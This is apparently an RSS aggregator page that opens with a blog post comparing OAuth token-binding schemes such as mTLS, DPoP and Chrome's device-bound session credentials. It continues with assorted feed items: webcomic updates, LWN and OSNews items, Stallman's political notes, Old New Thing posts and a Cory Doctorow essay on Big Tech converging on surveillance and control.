RFC 8705 is titled “OAuth 2.0 Mutual-TLS Client Authentication and Certificate-Bound Access Tokens”. This is basically the 2011 approach, but (a) with an explicit definition of how the certificate should be incorporated into issued auth cookies, and (b) with a proviso that well uh if you’re going to use tokens issued by your IdP to authenticate to someone else then well you’re going to need to use the same cert for both. This is probably fine for the company-owned-laptop case where you’re actually fine with multiple sites being able to tie identities together (that’s kind of the point here!), and also works for “I am using an app and not a browser”, but doesn’t work for more generic scenarios. It also doesn’t seem to take the session resumption case into account at all? Support for RFC8705 seems poor, as far as I can tell of the big players only Auth0 implements it. In theory it works fine with self-signed client certs but in reality that’s going to be almost as difficult to support across multiple platforms as just issuing proper client certs in the first place, so deployment is going to be kind of a pain. But the good news is it doesn’t rely on any TLS extensions or custom browser behaviour, so at the client side it works fine with any browser.

Which brings us on to RFC 9449, “Demonstrating Proof of Possession”. This goes even further than RFC8705 in terms of reducing the burden of deployment - it works fine with existing browsers, and it doesn’t even require any certs. The client generates a keypair and provides the pubkey when requesting the cookie. The cookie contains the pubkey. Every request to the service now provides the cookie with the pubkey and also provides a signature over the URI and HTTP method. If the signature matches the pubkey in the token then clearly the signature came from the machine the token was issued to, and everything is good.

This does come with some downsides, though. The first is that it uses browser interfaces to generate the keys (typically crypto.subtle.generatekey()) and as far as I can tell there are no browsers that guarantee that that key is going to be generated in hardware even if it’s marked non-exportable, so anyone able to steal the cookies can also steal the keys. The second is that the signature only covers the URI and HTTP method, and not the message content or any other headers, so anyone able to exfiltrate a valid signature can replay it against the same URI with different message content. The recommended way to handle this is to reject any signatures that weren’t generated within the last few seconds, which is a wonderful additional way to allow clock skew to give you a Bad Day. And the third is that every single request has to be separately signed, which is not intrinsically a problem because computers are fast and have multiple cores, but if you’re trying to solve the first problem by sticking the key in a TPM then you’re dealing with something that’s slow and single threaded and that’s maybe acceptable if you’re using client certificates (because there’s going to be one signature per session and you can use the same session for multiple requests) but probably not if you’re dealing with a user opening a browser that restores previous tabs and each of those is a webapp that fires off 100 requests in parallel.

In case it wasn’t clear, I don’t like DPoP. It doesn’t feel like it actually solves the underlying problem that we see in the real world (malware running in a context where if it can grab the tokens it can grab the keys), it adds a massive amount of overhead, and it has baked in replay vulnerabilities. I don’t know why it exists and I’m incredibly suspicious of vendors telling me that it fixes my problems, because if they’re telling me that then I’m going to end up assuming that they either don’t understand my problems or they don’t understand their technology, and neither of those is good.

Still. Then we get to the thing that prompted me to write this - Chrome’s announcement that they had launched device-bound session credentials. This is interesting because it’s a Chrome feature that’s explicitly intended to counter on-device malware, which was one of the things that was out of scope in 2018 when token binding was being removed. Since this is entire web level it doesn’t have to be an RFC, and so is instead defined by W3C. I’m going to handwave all the complexity and say that it’s basically a way to register a public key when a cookie is issued, and then prove possession of the private key when it’s time to renew the cookie. By making the cookies shortlived and having support for rotating them in the background, user impact is basically zero and while it’s still possible for an attacker to exfiltrate and use a cookie they’ll only be able to do so for a short window before it needs to be refreshed - something the attacker can’t do, since they don’t have the private key. This avoids the DPoP overhead because you only need to do signing once per cookie per cookie lifetime, and not on every single request. I don’t like this due to the window where exfiltrated tokens can be used, but it feels like a strict improvement over the status quo. An extension called device-bound session credentials for enterprise allows pre-enrollment of device keys, so even though the actual runtime DBCE flow doesn’t involve certificates, certificates can be used for device registration in enterprise environments and you can make sure that auth cookies only go to trusted devices. Unfortunately this is Chrome-only, and so we’re going to need to wait for it to be backported to all the random app frameworks for it to have widespread support on mobile or for almost everyone’s desktop app that’s actually three websites in an Electron wrapper. Mozilla’s current position is that they’re not in favour of it, so I guess we’ll see where Safari lands in terms of broad uptake.

The last thing on my list is another client cert/OAuth binding, this one still in draft state at the time of writing. This one is aimed primarily at the use of agent-driven tooling, where you have something running in the background using a whole bunch of tools that are each acting on your behalf. Authenticating to all of them separately isn’t a fun time, but giving broadly scoped access tokens to a non-deterministic agent and trusting that it’ll never post them somewhere public also isn’t a fun time. The key distinction between it and RFC8705 is that it’s aimed at connections rather than sessions, which avoids the worries about session resumption. This is done with TLS Exporters, which in TLS 1.3 should be unique to the connection even over session resumption (TLS 1.2 may reuse some of the same key material for exporters over session resumption, so it’s recommended to enforce 1.3 for this). By providing a new signature alongside the cookie on every new connection, the client proves that it still has access to the private key. This is a very new spec and I haven’t had much time to work through it yet, but my naive understanding is that unlike RFC8705 this would require some additional client support to be able to regenerate the client signature on every TLS reconnection.

This doesn’t avoid all the problems that RFC8705 has, including how to scope certificates. For the agentic use case that probably doesn’t matter - all these tools are acting on behalf of the same user, it’s fine if all the sites involved know they’re the same user. But it doesn’t solve the general purpose user use case, and right now DBSC seems like the best we have there.

But. Part of me still wonders whether Dirk Balfanz’s approach was the right one. Yes, there’s risk associated with TLS session resumption, but in the worst case you could just switch that off for high risk setups. The cookie scope argument is real, and also in cases where it could violate privacy the site owner could already choose to broaden their cookie scope and violate your privacy, and in cases where it breaks things you could just not make use of it. The other problems are largely fixed by TLS 1.3, and then we’re just left with “Browsers handle client certificates badly” to which my answer is “Yes, and we should fix that anyway”.

Despite having a pretty good answer to this solution over a decade ago, the closest we have to actual deployment is something that offers strictly worse security guarantees. And tokens keep getting stolen, and compromises keep occurring, and for the most part people shrug and get on with things.

06:14

[1299] Bad by Comparison [Twokinds]

Comic for July 2, 2026

03:21

02:35

Moray Solves A Mystery [QC RSS v2]

Big news! We have a brand new archive page! Now you can SCROLL ENDLESSLY through the archive, or type in a comic number and read from there! I think it's very cool, and much better than the old "giant list of 6000 comics" version.

02:14

07/02/26 [Flipside]

Hello everyone! No page today, because I've fallen into a sudden burst of hyperactive fixing up of the website instead. So the update today is this: this website has receive MANY updates!

First of all, I've been wanting to fix the look of the site for awhile, so I tried to streamline it a bit. I removed the useless empty ad-hosting space at the top, added some images on the bottom, fixed some sections that were broken... some of the secret sections were badly out of date, like the April Fools archive. Some other secret sections like the Flipline and Audio Archives were not currently available, but now they are.

Most importantly, I added new secret sections to the website, including a very massive mega secret area which consists of many smaller secrets. The way to get into this is new, but is sort of similar to how you used to be able to get into the Flipline. I'll give you a hint, just look around a bit for something that is new, it's not actually that hard to find. If you get into this mega secret area, there are some additional new secret areas contained within, you just need to explore a bit. I also added some new explanations to things that were old and needed more explanations.

I'm not quite done yet, I still want to put some more work into revamping the website a bit more and adding new stuff. I'll keep you posted!

01:49

[$] LWN.net Weekly Edition for July 2, 2026 [LWN.net]

Inside this week's LWN.net Weekly Edition:

  • Front: Xsnow protestware; Git 2.55; Rhombus; kernel hardening; More LSFMM+BPF coverage; 7.2 merge window; Secure Boot certificate expiration; Ceph and Garage; OSPM 2026.
  • Briefs: Akrites; Mageia 10; Git 2.55.0; Podman 6.0; systemd v261; Creative Commons chat; Quotes; ...
  • Announcements: Newsletters, conferences, security updates, patches, and more.

00:14

Urgent: Reject "Great American AI Act" [Richard Stallman's Political Notes]

US citizens: call on your congresscritter and senators to reject the "Great American AI Act" and the propaganda terminology that appears in its name.

In my letter I explained that "AI" is a marketing hype term that the big tech companies use to make the public yield, and urged the legislators to reject it. I included the URL

https://gnu.org/philosophy/words-to-avoid.html#ArtificialIntelligance

See the instructions for how to sign this letter campaign without running any nonfree JavaScript code--not trivial, but not hard.

US citizens: Join with this campaign to address this issue.

To phone your congresscritter about this, the main switchboard is +1-202-224-3121.

Please spread the word.

Urgent: Cease climate hushing [Richard Stallman's Political Notes]

US citizens: call on media outlets to cease climate hushing.

See the instructions for how to sign this letter campaign without running any nonfree JavaScript code--not trivial, but not hard.

Children hit by parents get worse grades [Richard Stallman's Political Notes]

A study found that children in England who were hit by their parents have a tendency to get worse grades in school.

This could indicate that hitting children tends to lead them to do worse in school tests. Or it could indicate that children who for certain other reasons tend to do worse in school will tend also to be hit by their parents. Is it the hitting itself that does them harm, or the situation that leads to the hitting, or both, or something else?

Israel attacked notary office in Lebanon [Richard Stallman's Political Notes]

Israel attacked a notary office in Lebanon, destroying records of land ownership for up to a quarter of a million people.

This seems to be a way of preventing them from ever returning to their homes, or to the wreckage of their homes.

Predicted collapse of Atlantic Meridional Overturning Circulation [Richard Stallman's Political Notes]

Scientists predict that the Atlantic Meridional Overturning Circulation (a loop of currents, some at the surface and some deep) will collapse due to global heating. They do not know whether that collapse will spread over many years, or happen with shocking speed. The activities to monitor the change have been defunded.

Estimated 10,000 corpses buried in rubble of Gaza [Richard Stallman's Political Notes]

An estimated 10,000 corpses buried in the rubble of Gaza will be difficult to identify ever. Israel's continued use of bulldozers in some parts of Gaza is increasing that number.

Hegseth speech at Normandy landings commemoration [Richard Stallman's Political Notes]

Hegseth went to a commemoration of the Normandy landings of 1944 for two events, but his speech at the first one at Colleville-sur-Mer was so racist and hateful that people in the town of Langrune-sur-Mer (where Hegseth had planned to appear) posted their disgust. This showed how vile he is and reverberated around the world.

Harassment of prisoners in Delaney Hall deportation prison [Richard Stallman's Political Notes]

Radio Jornalera NJ coverse the perverse, unpredictable harassment of prisoners in the Delaney Hall privately run deportation prison.

It is admirable nonviolent resistance to violent, sadistic fascism. But I wonder, is there any way to listen to it without subjecting oneself to nonfree JavaScript code? I have a hunch the people who do this, while heroic in resistance, are unaware of the quite different injustice of nonfree software, and have picked up the habit of handing control of their own computers to any and all companies that might want to snoop on them, cheat them or repress them.

Bullshitter and Iran say peace deal is close [Richard Stallman's Political Notes]

The bullshitter and Iran say they are coming closer to a peace deal.

We can't presume that the bullshitter is telling the truth about any of this. Even if some parts are true, other parts may be bullshit.

But even if they do make an agreement, the bullshitter might break it at any time. Iran too might break the agreement.

Indiana has excluded journalists from observing executions [Richard Stallman's Political Notes]

Indiana has excluded journalists from observing executions, pretending that this is a kindness to the convict who is executed.

I've read elsewhere that the victim is allowed to invite a limited number of people to attend, and can include journalists among those few. In other words, the victim has to pay a price to have a journalist there. This proves clearly that the state's exclusion of journalists is not meant as a kindness for the victim. If it were, the victim would be allowed to say "No, thanks. I don't object to the presence of any number of journalists."

This is censorship disguised as "We insist on protecting you whether you want it or not."

FBI raided voter registration group [Richard Stallman's Political Notes]

The FBI raided a voter registration group — in effect claiming that to help eligible citizens register to vote is forbidden.

So-called "AI" agents don't care about safety or reliability [Richard Stallman's Political Notes]

*Nvidia and Microsoft Researchers Say [so-called "AI"] Agents Don't Care About Safety or Reliability.*

I take exception to the idea that they understand anything enough to be said to "care". Rather, they give a rather unintelligent rule-based imitation of caring.

Separating the UK from the European Union [Richard Stallman's Political Notes]

Separating the UK from the European Union, explained as an example of trying a simple quick fix in a complex situation in which no simple fix exists.

KPMG article about agentic pretend intelligence [Richard Stallman's Political Notes]

KPMG decided to publish an article about agentic pretend intelligence in actual use. The staff asked a pretend intelligence to fill in the details. Great fun ensued — but not for KPMG.

Builders of Israeli "settlements" [Richard Stallman's Political Notes]

The builders of Israeli "settlements" (in occupied Palestinian territory) hold events around the world to sell apartments in them. One such event being held in London has triggered objections supported by 100 members of the houses of Parliament, who call for prohibiting the sale of land that was taken from Palestinians in violation of international law.

Criminalizing criticism of the government [Richard Stallman's Political Notes]

The US government is embarked on criminalizing criticism of the government. This started with targeting those who protested unjust government actions, continues through targeting people who write dissenting publications, then targeting people who have copies of such publications, and has now targeted someone for trying to protect others from being prosecuted for possessing copies of dissenting publications.

Very rich people undermine democracy [Richard Stallman's Political Notes]

Very rich people inevitably undermine democracy while impoverishing others to make themselves even richer. Taxing their wealth will help with both problems.

Peace deal with Iran actually 60-day cease fire [Richard Stallman's Political Notes]

The bushwhacked bully claims to have made peace with Iran, but actually it is a 60-day cease fire in which he concedes most of the concessions he said he was going to win, and kicks the other hard points down the road.

Here is a more complete description of what the agreement does not discuss. He has no respect for agreements, so he might restart fighting at any moment. Or he might not. But if he does not, the danger he will is likely to continue most of the harmful consequences that the war has had.

Wednesday, 01 July

23:56

OSNews statement on slopcoded “operating systems” [OSnews]

Recently, there has been a surge in slopcoded new/hobby “operating systems”. Such slopcoded projects – which, due to the nature of “AI” tools, effectively consist of stolen code – will not be featured on OSNews and submitting them is fruitless.

Other websites may choose to employ lower standards, as is their prerogative, but OSNews will not. I obviously cannot guarantee nothing will ever slip through the cracks, but I will take utmost care to ensure OSNews remains free of these so-called “sloperating systems”. Plagiarism, license-washing, and code theft have no place in the world of enthusiast and hobby operating systems.

European digital ID wallets are a gift to Google and Apple [OSnews]

European governments are rolling out digital identity wallets, which are to be used by citizens to access services, and to verify their age online. As reported by Follow the Money and Android Authority, there is a serious problem with this: these wallets rely on safety services of Google and Apple. These are known as Google Play Integrity API, and Apple’s Managed Device Attestation. Such safety services (known as “remote attestation”) are used to ensure that wallet apps run on hardware that is not tampered with. In this article we explain why the EU-wallet case is part of a bigger problem: by embedding these safety services in public infrastructure, Europe risks making society dependent on private companies while serving their corporate interests.

↫ Danny Lämmerhirt

Setting aside the age verification nonsense, the fact that some European government are tying their identification services to iOS and Google Android is absolutely bonkers, especially in this day and age. There’s endless talk about reducing European dependence on the American tech giants who seem all too eager to do roll over when the Trump regime so much as glances in their general direction, and yet, they seem to want to effectively force us citizens to use American tech products.

Essential online tools, like banking, government services, communication services, digital driver’s licenses, and more, should not require the use of iOS or Google Android.

“Apple should end their prohibition on shapes in MacOS app icons” [OSnews]

There’s a lot you can say about macOS, but one thing Apple used to be incredibly good at were making beautifully crafted, detailed icons. As with almost every other aspect of macOS, this deteriorated sharply over the years, with the recent macOS releases with Liquid Glass being an absolute low point. Not only have they become bland and featureless, Apple also started forcing every icons to have the exact same rounded-rectangle shape, making them even harder to distinguish from one another.

Rogue Amoeba, a company with a long history of developing applications with beautiful iconography, published a blog post pleading Apple to go back to proper icon design.

With last year’s release of MacOS 26 (Tahoe), Apple made a mess of app icons. In the first betas of MacOS 27 (Golden Gate), however, there are signs of a turnaround. We’re urging Apple to continue making improvements, by restoring the ability for MacOS app icons to have distinct shapes.

↫ Paul Kafasis at the Rogue Amoeba blog

I really hope Apple will turn its icon ship around.

21:56

Link [Scripting News]

A thought for people who think the US can't be fixed. I've seen very strange things happen, like all of a sudden people figure it out and boom next thing you know they're the NBA Champions. It wasn't exactly sudden, but the last leg of was. A gestalt. Now two leaders figure out how to. The thing about each of those people is determination, and a belief they were right, and they went right up to the edge and fought. I think the country would unite behind such a leader.

20:28

Modular Doom [Penny Arcade]

Gabriel misunderstanding things is one of our most profound genres; I should make up a keyword based on this propensity and begin utilizing its subtle power.

20:00

Linux ported to Sega’s Mega Drive [OSnews]

If you have a Sega Mega Drive, you obviously want to run Linux on it. That’s something you can do now. You do need to have an EverDrive, but don’t worry, the port in question contains a custom fork of Qemu for those of us that don’t.

I don’t know what else to say, other than I wonder why nobody did this sooner.

18:21

[$] Efficient access to local storage for BPF programs [LWN.net]

When a BPF program is used to filter or redirect packets in the networking subsystem, the program will often want to associate data with each packet as it moves through the kernel. The kernel's local BPF storage API, which associates extra data with some kernel objects, provides a way to do that. (See also the BPF map types that end in STORAGE.) Amery Hung and Jakub Sitnicki led two sessions at the 2026 Linux Storage, Filesystem, Memory-Management, and BPF Summit about how to make accesses to local storage data more efficient. Hung spoke about general performance problems related to locking, while Sitnicki examined the use of local storage in the networking subsystem in particular.

18:07

The Big Idea: Shalini Abeysekara [Whatever]

Ever wonder what really goes on after the “happily ever after” line? Author Shalini Abeysekara had closed the door on her previous novel, but left the door unlocked as she came back to that world to bring us This Blade of Ours, the sequel she never expected to write. Follow along in her Big Idea to see how the “happily ever after” ending got pushed back another book.

SHALINI ABEYSEKARA:
There are a few things an author hopes will happen after typing “The End.” One, that they can finally imbibe a glass of wine, fructose syrup drink, or another preferred poison and sleep off a creative high and a bittersweet farewell to their characters. Two, that future readers who arrive at this last page of their oeuvre will rave about the book. Three, that the author won’t have to partially undo some of their work.

Well, that last part hit a snag when my publisher requested a sequel to my debut romantasy, This Monster of Mine. I grabbed the book deal with both hands, of course; I’m not about to turn down a chance to revisit a world I loved. Yet, the first book’s villains had been defeated. The heroes were in power. Where was the story to go after “The End”? But wait. Is the end of a battle really the end of a war?
This Blade of Ours was the result of a thought experiment by an avid student of political history (me) and a very harried author who had six weeks to pull together a reworking of her duology (also me). What happens when the figureheads to an ideology have been defeated, but the governmental structures and fanatical adherents who carried those villains to power still persist? How do our heroes navigate a divided land that will now eye them critically since they’ve gone from underdogs to victors? Most importantly, how was I to provide some manner of answer to these questions while also rounding off this duology in a satisfying way?
The long answer as to how I pulled this off involves sleepless nights, more caffeine than any national health council would recommend, and equal parts self-pity and self-doubt. But the short answer was this: look to history and consider a ‘what if?’ My duology was already set in a world loosely-inspired by the Roman Empire at its height. I had drawn on the concept of the Tetrarchy—a ruling system instituted by Emperor Diocletian wherein two senior rulers managed the empire’s conquests and misadventures with two junior rulers shadowing them to take their place. The system was supposed to repeat ad infinitum, and many hands/heads were supposed to make light work. It certainly seemed to for close to thirty-one years. Alas, the rise of the Roman dictatorship put a quick end to that experiment.

My first book examined what that Tetrarchy might have evolved to: an oligarchy of four judges ruling the land. The book considered the pros and flaws of such rule, and the characters battled those who sought to steer it towards a dictatorship. Thus, I thought, it stood to reason that this sequel could examine the consequences of successfully halting that shift towards authoritarianism: irate supporters of book 1’s villains insisting that the whole final showdown was a farce, governmental structures in flux during a transition of leadership, accusations of a coup, religious leaders taking sides.

And romance of course, lest anyone forget that this is a romantasy. A book that perhaps felt timely but ancient, cataloguing the ouroboros of the human condition as much as trying to paint some facets in an engaging delight. To say it gave me immense joy to run untrammelled across a page when bringing this story to life would be an understatement. Finally, all those documentaries and hours of being a history nerd put to good use!
But readers (as I am) are loathe to be preached to and authors (as I am) are generally reluctant to preach. And though the Big Idea behind this book was a question, there are no answers to the human condition of in-groups, out-groups, war, greed, hope, and love. Only roads less travelled. I had already drawn from history.

So, I threw in elements history hadn’t seen. I pulled from the fantastical and built eldritch gods who begin an unusual divine intervention into the chaos of humanity: razing as many as they can because they really think we’re hopeless. I tried to steer from traditional romantasy tropes and leaned towards the deeply human. I gave my heroine and anti-hero vast reserves of determination, anger, and desperation. Enough to remain flawed, enough to keep fighting while questioning why they do. Their morals waver (to be fair, the anti-hero didn’t have many to begin with), their conviction falters, and their motivations grow selfish, but they fundamentally seek hope. As I think we all do, so that put any preachiness out of the picture. I hope.
I’m deeply proud of the result of this vortex of decisions. Not because it’s some highfaluting novel but, to be honest, because I just loved writing it. I doubt I’ll ever see my work as anything but flawed. Still, writing This Blade of Ours was a wonderful experience of examining the road after the finish line and mirrored my personal journey after the writing of its predecessor, my debut novel. There is always more. What a privilege. What a delight.


This Blade of Ours: Amazon|Barnes & Noble |Bookshop|Powell’s

Author’s Socials: Website|Instagram|TikTok

17:42

It rather involved being on the other side of this airtight hatchway: Changing administrative settings [The Old New Thing]

A security vulnerability report arrived that went roughly like this:

An attacker can bypass security policies by modifying the following registry keys to disable ⟦security feature 1⟧ and ⟦security feature 2⟧.

The statement is true, but what they don’t mention is that administrator privileges are required to modify those keys. This is like saying that a door lock is insecure because you can open the door from the inside. If you are inside, then you have already gotten past the door!

Indeed, the purpose of those keys is to define the security policy in the first place! So it boils down to “It’s a security vulnerability that an administrator can change a security policy.”

What the security researcher found was that if your system has been compromised, the first guy who gets into your inner sanctum can make your system even more vulnerable.¹ If you assume that the attacker has full control, then it’s not surprising that they control everything.

¹ Isn’t this the plot to half of the sci-fi movies ever made? The plucky hero sneaks behind enemy lines in order to disable the bad guys’ shields long enough to let the rest of the team in. This isn’t a security flaw in the shields. It’s a security flaw in whatever was supposed to protect the switch that turns off the shields.

The sci-fi movie analogy would be “If we can get to the switch that turns off the shields, then we can turn them off!”

Well, yeah. The hard part is getting into the room that has the switch.

It rather involved being on the other side of this airtight hatchway.

Bonus chatter: This is a repeat of It rather involved being on the other side of the airtight hatchway: Disabling a security feature as an administrator, but this type of bogus vulnerability report happens so much, I wrote it up again before I realized that it was a duplicate.

The post It rather involved being on the other side of this airtight hatchway: Changing administrative settings appeared first on The Old New Thing.

2026 mid-year link clearance [The Old New Thing]

Oh boy, more random stuff.

  • The hardest working font in Manhattan: Marcin Wichary digs up the history of the font named Gorton. I grew up with this font, seeing it not only on punch card keyboards but also in a Leroy lettering kit that we used in sixth grade graphics class when we studied mechanical drawing.
  • RollerCoaster Tycoon’s Overengineered Puking System. Learn more than you ever needed to know about the algorithms in the game RollerCoaster Tycoon that determine when a park guest pukes. No really.
  • The Spaghetti Policy for All MLB Teams by the appropriately named Sickos Committee breaks down the outside food policies for all of teams in Major League Baseball to determine which ones would let you bring in a gallon of spaghetti. The first part is fairly straightforward, but it gets far more weird (and sicko) as they look at the stadiums where a gallon of spaghetti might not be permitted. (Background information: Sports fans in Philadelphia have a reputation for poor behavior. These are the people who booed Santa Claus and pelted him with snowballs.)
  • We have reached the second generation now. “Microsoft invented “escrow builds” to launch functional apps – that’s internal ‘Microspeak’ jargon for quality control” is a rehash of my article on the history of the term “escrow”, but the article appears to just be a suspicious mishmash of fragments from the article. For example, in the sentence “He described it as unhelpful because the blog essentially described a metaphor using another metaphor” the antecedents of “it” and “the blog” are not present in the article, leading the reader to think that “it” is the explanation of what escrow means and that “the blog” is my blog. On top of that, the title of the article introduces the phrase “launch functional apps” (whatever that means), even though none of those three words appear anywhere in the original article, nor in the dodgy rehash. Undaunted, a different AI content farm picked up on that article and somehow expanded it into an even longer article that conveys even less information.

The post 2026 mid-year link clearance appeared first on The Old New Thing.

16:42

Pluralistic: Technocarcinization (01 Jul 2026) [Pluralistic: Daily links from Cory Doctorow]

->->->->->->->->->->->->->->->->->->->->->->->->->->->->-> Top Sources: None -->

Today's links



Two crabs dance with their claws entwined; one has the Google logo on its back, the other, the Apple logo. Their audience is a much larger crab, bearing the Meta logo. The scene is set on a dune.

Technocarcinization (permalink)

"Carcinization" is a curious biological phenomenon: given enough time, across many environments, many species will evolve into crabs. The body-type of a crab, with its low center of gravity, sideways gait (useful for evading predators), ease of concealment and protected organs is suitable to many different environments:

https://en.wikipedia.org/wiki/Carcinisation

Lately, I've watched the American Big Tech platforms as they underwent their own form of technocarcinization, which is when every tech company turns into Facebook.

A 2x2 grid. The vertical axis is labeled 'more surveillant.' The horizontal axis is labeled 'more control-freaky.' The top right quadrant has the Google logo. The top left, the Facebook and Instagram logos. The bottom left has the Apple logo. The bottom right has a Free Software Foundation Gnu.

For a long time, it seemed to me that you could make sense of the tech platforms by placing them into one of four quadrants on a 2×2 grid, in which one axis denoted "control freakishness" and the other, "surveillance."

Each quadrant had its own canonical company. The most surveillant/least controlling company (top left) was Google. They would let you roam the whole wide internet and exert no control over your conduct, but would spy on you wherever you went. The least surveillant/most controlling company was Apple, who imprisoned you in its manicured walled garden, but promised never to spy on you. The non-spying/non-controlling option is free/open source tech (of course), which doesn't care what you do, and doesn't watch you do it. And the most spying, most controlling company was Facebook, a company whose products did everything they could to imprison you within their virtual walls, from which vantage they could effect maximal surveillance.

I've used this comparison many times over the years. I included in my 2023 book The Internet Con, along with the joke that Tiktok's position on the grid was so far up and to the right (maximum surveillance and control) that we'd had to put its logo on the back cover. Enough people took this joke seriously and wrote in to complain that they'd gotten a misprint without the logo that we added it to the paperback:

https://www.versobooks.com/products/3035-the-internet-con

The grid was useful, until technocarcinization started to push all the tech companies into that top right quadrant. Apple is no longer the company that protects you from surveillance – they're the company that spies on you, having secretly added a total surveillance system to the iPhone to target ads to you:

https://pluralistic.net/2022/11/14/luxury-surveillance/#liar-liar

Apple can't even claim to protect you from third-party surveillance. Sure, they block Facebook from spying on you, but they have barred ICE Block, an app that tells you if there are ICE chuds hunting in your neighborhood, looking to kidnap you and send you to a concentration camp. Apple declared ICE mercenaries to be a "protected class":

https://pluralistic.net/2025/10/06/rogue-capitalism/#orphaned-syrian-refugees-need-not-apply

And thanks to Apple's control-freakery – which prevents you from overriding Apple's decisions about your own devices – once Apple decides to spy on you or sell you out to fascist goons, there's nothing you can do about it:

https://locusmag.com/feature/cory-doctorow-neofeudalism-and-the-digital-manor/

Then there's Google, the company that ran a free-range livestock operation in which you could roam wherever you liked, because they could always find you when it was time for the slaughter. For years now, Google has been moving inexorably to the kind of control-freak nonsense that you used to only find in one of Apple's crystal prisons.

For example, every year or two, Google floats a proposal to use secure hardware in your device to rat you out if you've got an ad-blocker, privacy blocker, or other aftermarket add-on that lets you choose how you experience the digital world:

https://pluralistic.net/2023/08/02/self-incrimination/#wei-bai-bai

It's an idea they just can't quit, despite the fact that it's fucking abominable and everyone hates it:

https://pluralistic.net/2026/06/12/compelled-speech/#quishing

Google used to pride itself in its ability to send you to the open web, viewing search as a conduit to other peoples' resources. Now, with AI search summaries, Google is harvesting the open web and then eating the seed corn, keeping searchers inside of Google's walled garden:

https://pluralistic.net/2026/06/29/arsonist-firefighters/#im-feeling-lucky

Google also took the idea of a free/open browser and ran with it, rehabilitating some discarded Apple code and turning it into Chrome, the internet's most dominant browser – by far. Now, Google is nerfing that browser's plug-in architecture in a way that blocks all kinds of user-tunable options, including and especially ad-blocking:

https://protonprivacy.substack.com/p/google-is-finally-killing-ublock

And Google has also announced that they're going to turn Android into an iPhone, making it both technically challenging and radioactively illegal for you to install software of your choosing on your own property:

https://arstechnica.com/gadgets/2025/08/google-will-block-sideloading-of-unverified-android-apps-starting-next-year/

Google is adopting every one of Apple's worst practices, and Apple is adopting all of Google's worst practices, and so they're both turning into Facebook: technocarcinization!

What's driving this technocarcinization? Well, the obvious answer is that the more Facebooklike a company becomes, the more ways there are for it to rip you off. Surveillance can be monetized by selling your data, by ad targeting, and by surveillance-based pricing and wage-suppression:

https://pluralistic.net/2026/01/21/cod-marxism/#wannamaker-slain

Control lets platforms block competing products, extract massive junk fees to the businesses they connect you to, and control repair and end-of-life, forcing you to replace hardware by blocking parts and independent service:

https://pluralistic.net/2026/01/10/markets-are-regulations/#carney-found-a-spine

It turns out that "if you're not paying for the product, you're the product" is only half-right. The other half is, "even if you pay for the product, you're the product." Pay, don't pay: companies will productize anyone they can. And thanks to our enshittogenic policy environment – where the worst ideas of the worst people make the most money – you can always be productized:

https://pluralistic.net/2025/09/10/say-their-names/#object-permanence

This is independent of the kind of person running the company. Facebook is run by Mark Zuckerberg, a cringe halfwit whose only successful idea was to offer Harvard bros a way of nonconsensually rating the fuckability of female undergrads. Everything he's done since was an acquisition (Whatsapp, Insta) or a flop (metaverse, Libra), or both (Oculus). Zuck owns the majority of the voting stock in the company, which means he has total control over its actions. He can ignore or fire his board members at will. He is the move fast/break things guy, whose every foolish whim can become policy that impacts billions of people.

By contrast, Google and Apple are no longer run by their flamboyant founders, who were every bit as prone to folly as Zuck. They were constrained by their shareholders, which meant that the blast-radius of Steve Jobs's worst ideas (like treating his otherwise curable cancer with green juice) were confined to his own person.

Today, Apple and Google are run by bloodless business sociopaths who go to enormous lengths to project an air of sober adulthood. And yet, these people – who would never be caught dead bow-hunting their own livestock or climbing into an MMA cage – have steered their companies into Facebook's quadrant on our enshittification 2×2.

I think this shows just how much the enshittification of tech is a matter of the policy environment, not the personalities of the people involved. Sure, the worst people imaginable run these companies, but the reason they're able to yield to their most venal impulses and succeed is because the world has been re-arranged to make sociopathy and greed into fitness factors. We get technocarcinization because the most fit organism for a landscape without consequences is a zuckerbergian techno-crab:

https://pluralistic.net/2023/07/28/microincentives-and-enshittification/

What can we do about it? Well, we're going to have to remake the landscape to punish (rather than reward) enshittification:

https://pluralistic.net/2026/01/01/39c3/#the-new-coalition

And in the meantime, there is one inhabitant of the 2×2 that hasn't drifted up and to the right: free and open source software. It's still snugly nestled in the low-surveillance/low-control box, and if you live in that box, your life will be much, much better for it.

There's no better time to make the switch: with RAM and storage prices through the ceiling and OSes growing ever-more bloated with AI and spyware (but I repeat myself), this is the moment to rehabilitate that old computer with Linux:

https://www.fosslinux.com/158206/linux-on-older-hardware-revival-guide.htm

The alternative is to be tormented by crabs no matter what you're trying to do or where you're trying to get to.


Hey look at this (permalink)



A shelf of leatherbound history books with a gilt-stamped series title, 'The World's Famous Events.'

Object permanence (permalink)

#15yrsago Print-on-demand and donations - report on DIY publishing business models https://www.publishersweekly.com/pw/by-topic/columns-and-blogs/cory-doctorow/article/47858-with-a-little-help-heuristics.html

#15yrsago Brazil rises up for free speech in 40 national demonstrations https://globalvoices.org/2011/06/30/brazil-freedom-march/

#10yrsago Grandad builds miniature backyard Disneyland https://abcnews.com/Lifestyle/grandpa-builds-disneyland-inspired-backyard-theme-park-grandkids/story?id=40276633

#10yrsago Elizabeth Warren on monopolies in America, including Apple, Google, and Amazon https://washingtonmonthly.com/2016/06/30/elizabeth-warrens-consolidation-speech-could-change-the-election/

#10yrsago White House plan to use data to shrink prison populations could be a racist dumpster fire https://www.wired.com/2016/06/white-house-mission-shrink-us-prisons-data/

#10yrsago Even if Moore's Law is "running out," there's still plenty of room at the bottom https://www.technologyreview.com/2016/05/13/245938/moores-law-is-dead-now-what/

#10yrsago Black-hat hacker handles are often advertisements https://www.wired.com/beyond-the-beyond/2016/07/web-semantics-modern-german-black-hat-hacker-handles/

#10yrsago Spotify threatens to report Apple to competition regulators over App Store rejection https://web.archive.org/web/20160630220301/https://www.recode.net/2016/6/30/12067578/spotify-apple-app-store-rejection

#10yrsago Researchers find over 100 spying Tor nodes that attempt to compromise darknet sites https://www.defcon.org/html/defcon-24/dc-24-speakers.html#Noubir

#5yrsago Exxon lobbyist confesses to his crimes https://pluralistic.net/2021/07/01/basilisk-tamers/#exxonknew

#5yrsago When the Sparrow Falls https://pluralistic.net/2021/07/01/basilisk-tamers/#rage-against-the-machine


Upcoming appearances (permalink)

A photo of me onstage, giving a speech, pounding the podium.



A screenshot of me at my desk, doing a livecast.

Recent appearances (permalink)



A grid of my books with Will Stahle covers..

Latest books (permalink)



A cardboard book box with the Macmillan logo.

Upcoming books (permalink)

  • "The Post-American Internet," a geopolitical sequel of sorts to Enshittification, Farrar, Straus and Giroux, 2027
